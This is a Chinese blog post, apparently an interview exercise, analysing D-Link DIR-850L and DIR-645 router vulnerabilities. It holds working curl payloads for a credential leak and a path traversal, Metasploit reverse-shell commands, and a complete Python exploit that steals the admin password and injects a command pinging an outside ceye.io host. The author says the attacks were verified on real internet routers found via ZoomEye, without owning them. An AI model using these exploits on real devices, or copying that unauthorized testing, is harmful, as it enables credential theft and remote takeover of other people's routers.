这是参加某次面试的笔试题,要求分析D-Link 850L&645路由漏洞。分析过程中还是学了不少东西,面试官也很Nice,对于我不懂的知识,都能一一做个解释。由于逆向能力不足,很多东西还是不能深入,希望以后能够弥补不足。以下是我的分析文章:

一、准备

1.1 D-Link 850L固件提取

D-Link 850L 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/

将下载下来的 DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP 解压,并使用命令 binwalk -Me DIR850LA1_FW114b07WW.bin 对解压出来的二进制文件进行固件提取。从提取过程的信息中可以看出该路由器使用的是 Squashfs 系统。

在提取出来的文件中,存在 190090.squashfs 文件,我们继续使用 binwalk -Me 命令提取该文件。当然,我们也可以使用 unsquashfs 190090.squashfs 命令来提取文件。最终我们需要的文件在 squashfs-root/htdocs/ 路径下。

1.2 D-Link 645固件提取

D-Link 645 固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

这个如果使用 apt install 安装的 binwalk 会少很多东西,无法成功提取固件,解决方法如下:

$ sudo apt-get update  
$ sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md  
$ git clone https://github.com/devttys0/binwalk.git  
$ cd binwalk

# python2.7安装  
$ sudo python setup.py install

# python2.7手动安装依赖库  
$ sudo apt-get install python-lzma

$ sudo apt-get install python-crypto

$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip  
$ sudo pip install pyqtgraph

$ sudo apt-get install python-pip  
$ sudo pip install capstone

# Install standard extraction utilities(必选)  
$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS images(必选)  
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev  
$ git clone https://github.com/devttys0/sasquatch  
$ (cd sasquatch && ./build.sh)

# Install jefferson to extract JFFS2 file systems(可选)  
$ sudo pip install cstruct  
$ git clone https://github.com/sviehb/jefferson  
$ (cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems(可选)  
$ sudo apt-get install liblzo2-dev python-lzo  
$ git clone https://github.com/jrspruitt/ubi_reader  
$ (cd ubi_reader && sudo python setup.py install)

# Install yaffshiv to extract YAFFS file systems(可选)  
$ git clone https://github.com/devttys0/yaffshiv  
$ (cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files(可选)  
$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv  
$ sudo cp bin/unstuff /usr/local/bin/

安装好后,直接使用 binwalk -Me 命令即可提取固件内容。

二、D-Link 850L漏洞分析

2.1 远程敏感信息读取

2.1.1 漏洞分析

该漏洞文件的位置为:htdocs/web/getcfg.php 具体代码如下:

可以发现上图代码 第25-27行 代码,要读取的文件名中存在可控变量 $GETCFG_SVC ,而且该变量从 $_POST["SERVICES"] 中获取后,没有任何过滤操作。那么要想利用这个漏洞,我们就要让 第16行is_power_user 函数返回1。 is_power_user 函数的功能是用来判断用户权限的,当 $_GLOBALS["AUTHORIZED_GROUP"] 的值大于等于0时, is_power_user 函数才会返回1。这里的 $_GLOBALS 数组并不是 PHP 的原生数组,而是在 cgibin 文件中定义的,所以我们需要逆一下 cgibin 文件的代码。

观察逆出来的 main 函数,发现程序开头对请求的不同文件名分别进行处理,我们找到 phpcgi_main 函数并跟进。

phpcgi_main 函数中,可以看到程序将不同的请求头经过处理后,传给了PHP。在下图 第26-30行 代码中,将经过 sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,然后再作为全局数组 $_GLOBALS 传递给PHP程序使用。第30行 代码可以看到,以 \n 分隔储存在字符串中,所以用户可以通过注入带有 \n 字符的恶意 payload 来伪造 $_GLOBALS["AUTHORIZED_GROUP"] 的值。

2.1.2 漏洞验证

我们构造如下 payload ,可以发现可以成功加载 htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件并获得账号密码等敏感信息:

curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"

2.2 通过LAN、WLAN的远程命令执行

2.2.1 漏洞分析

要完成这一攻击,需要结合以下两种漏洞利用方式:

当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。这个我们从 hedwig.cgi 的反汇编代码中就可以看出:

htdocs/webinc/fatlady.php 文件代码如下,可以看到 第13行 处,将 service 结点的值赋值给 $service 。然后没有经过任何处理,拼接后的字符串再赋值给 $target ,最后在 第19行 加载。

在获取到管理员账号密码之后,我们登录路由器管理面板,以管理员身份对 etc/services/DEVICE.TIME.php 文件进一步利用,我们先来看一下这个文件的代码。

可以很明显的看到,上图 第28行 处直接将从 XML 获取的 $server 变量拼接在脚本中,这也就形成了命令注入。

2.2.2 漏洞验证

首先通过上传构造好的XML文件,读取存放用户信息的 DEVICE.ACCOUNT.xml.php 文件:

curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"

接着我们需要使用管理员的身份,对 etc/services/DEVICE.TIME.php 文件的 $server 变量进行注入即可。在 metasploit 中已经集成好了反弹 shell 的攻击程序( dlink_dir850l_unauth_exec.rb ),在 msfconsole 中运行以下命令:

use exploit/linux/http/dlink_dir850l_unauth_exec
set RHOST VictimIp
set RPORT 8080
set LHOST AttackerIpset LPORT 9999

2.3 LAN下的命令执行

2.3.1 漏洞分析

D-Link 850L 路由器以 root权限 运行 dnsmasq 守护进程,而这个进程会将从 DHCP 服务器获取 host-name ,并用在命令中执行。那么攻击者要想利用这一漏洞,就必须在同一局域网中,将 DHCP 服务器的名字设置成带有恶意 payload 的字符串即可。

2.3.2 漏洞验证(待完成)

三、D-Link 645漏洞分析

3.1 远程敏感信息读取

3.1.1 漏洞分析

通过对比 D-Link 645D-Link 850Lhtdocs/web/getcfg.php 文件,发现代码完全是一样的,所以 D-Link 645 同样也存在远程敏感信息读取漏洞。

3.1.2 漏洞验证

curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://VictimIp:8080/getcfg.php"

3.2 通过LAN、WLAN的远程命令执行

3.2.1 漏洞分析

同样,通过对比两个不同版本路由器的 htdocs/webinc/fatlady.php 文件和 etc/services/DEVICE.TIME.php 文件,发现基本一致。

3.2.2 漏洞验证

我们可以修改已经公布的EXP结合 ceye.io 平台,来确认目标机器是否有成功执行命令。EXP程序如下:

#!/usr/bin/env python3
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests

try:
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
    pass

TARGET = sys.argv[1]
session = requests.Session()
session.verify = False

############################################################

print("Get password...")

headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""

resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)

# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
#       : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]

admin_pasw = ""

tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
    name = acc.findtext("name", "")
    pasw = acc.findtext("password", "")
    print("name:", name)
    print("pass:", pasw)
    if name == "Admin":
        admin_pasw = pasw

if not admin_pasw:
    print("Admin password not found!")
    sys.exit()

############################################################

print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()

print("uid:", resp["uid"])
print("challenge:", resp["challenge"])

session.cookies.update({"uid": resp["uid"]})

print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw

data = {
    "id": user_name,
    "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################

data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + "ping `hostname`.xxx.ceye.io" + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

############################################################

print("hedwig")

headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################

print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

四、总结

在上面的分析中,由于手头没有真实设备,所有漏洞验证均通过互联网上的设备进行验证。通过 https://www.zoomeye.org/searchResult?q=DIR-850L 可以搜索到很多这类设备,即使过了1年多,漏洞影响还是蛮大的。

遇到的问题

五、参考

D-link 10个0Day漏洞分析(附细节)
SSD Advisory – D-Link 850L Multiple Vulnerabilities (Hack2Win Contest)
D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告
D-Link-Dir-850L-远程命令执行漏洞
D-Link DIR-850L 路由器漏洞验证报告
D-Link系列路由器漏洞挖掘入门
D-Link DIR 系列路由器信息泄露与远程命令执行漏洞
逆向路由器固件之动态调试
关于D-Link DIR 8xx漏洞分析

源链接

Hacking more

...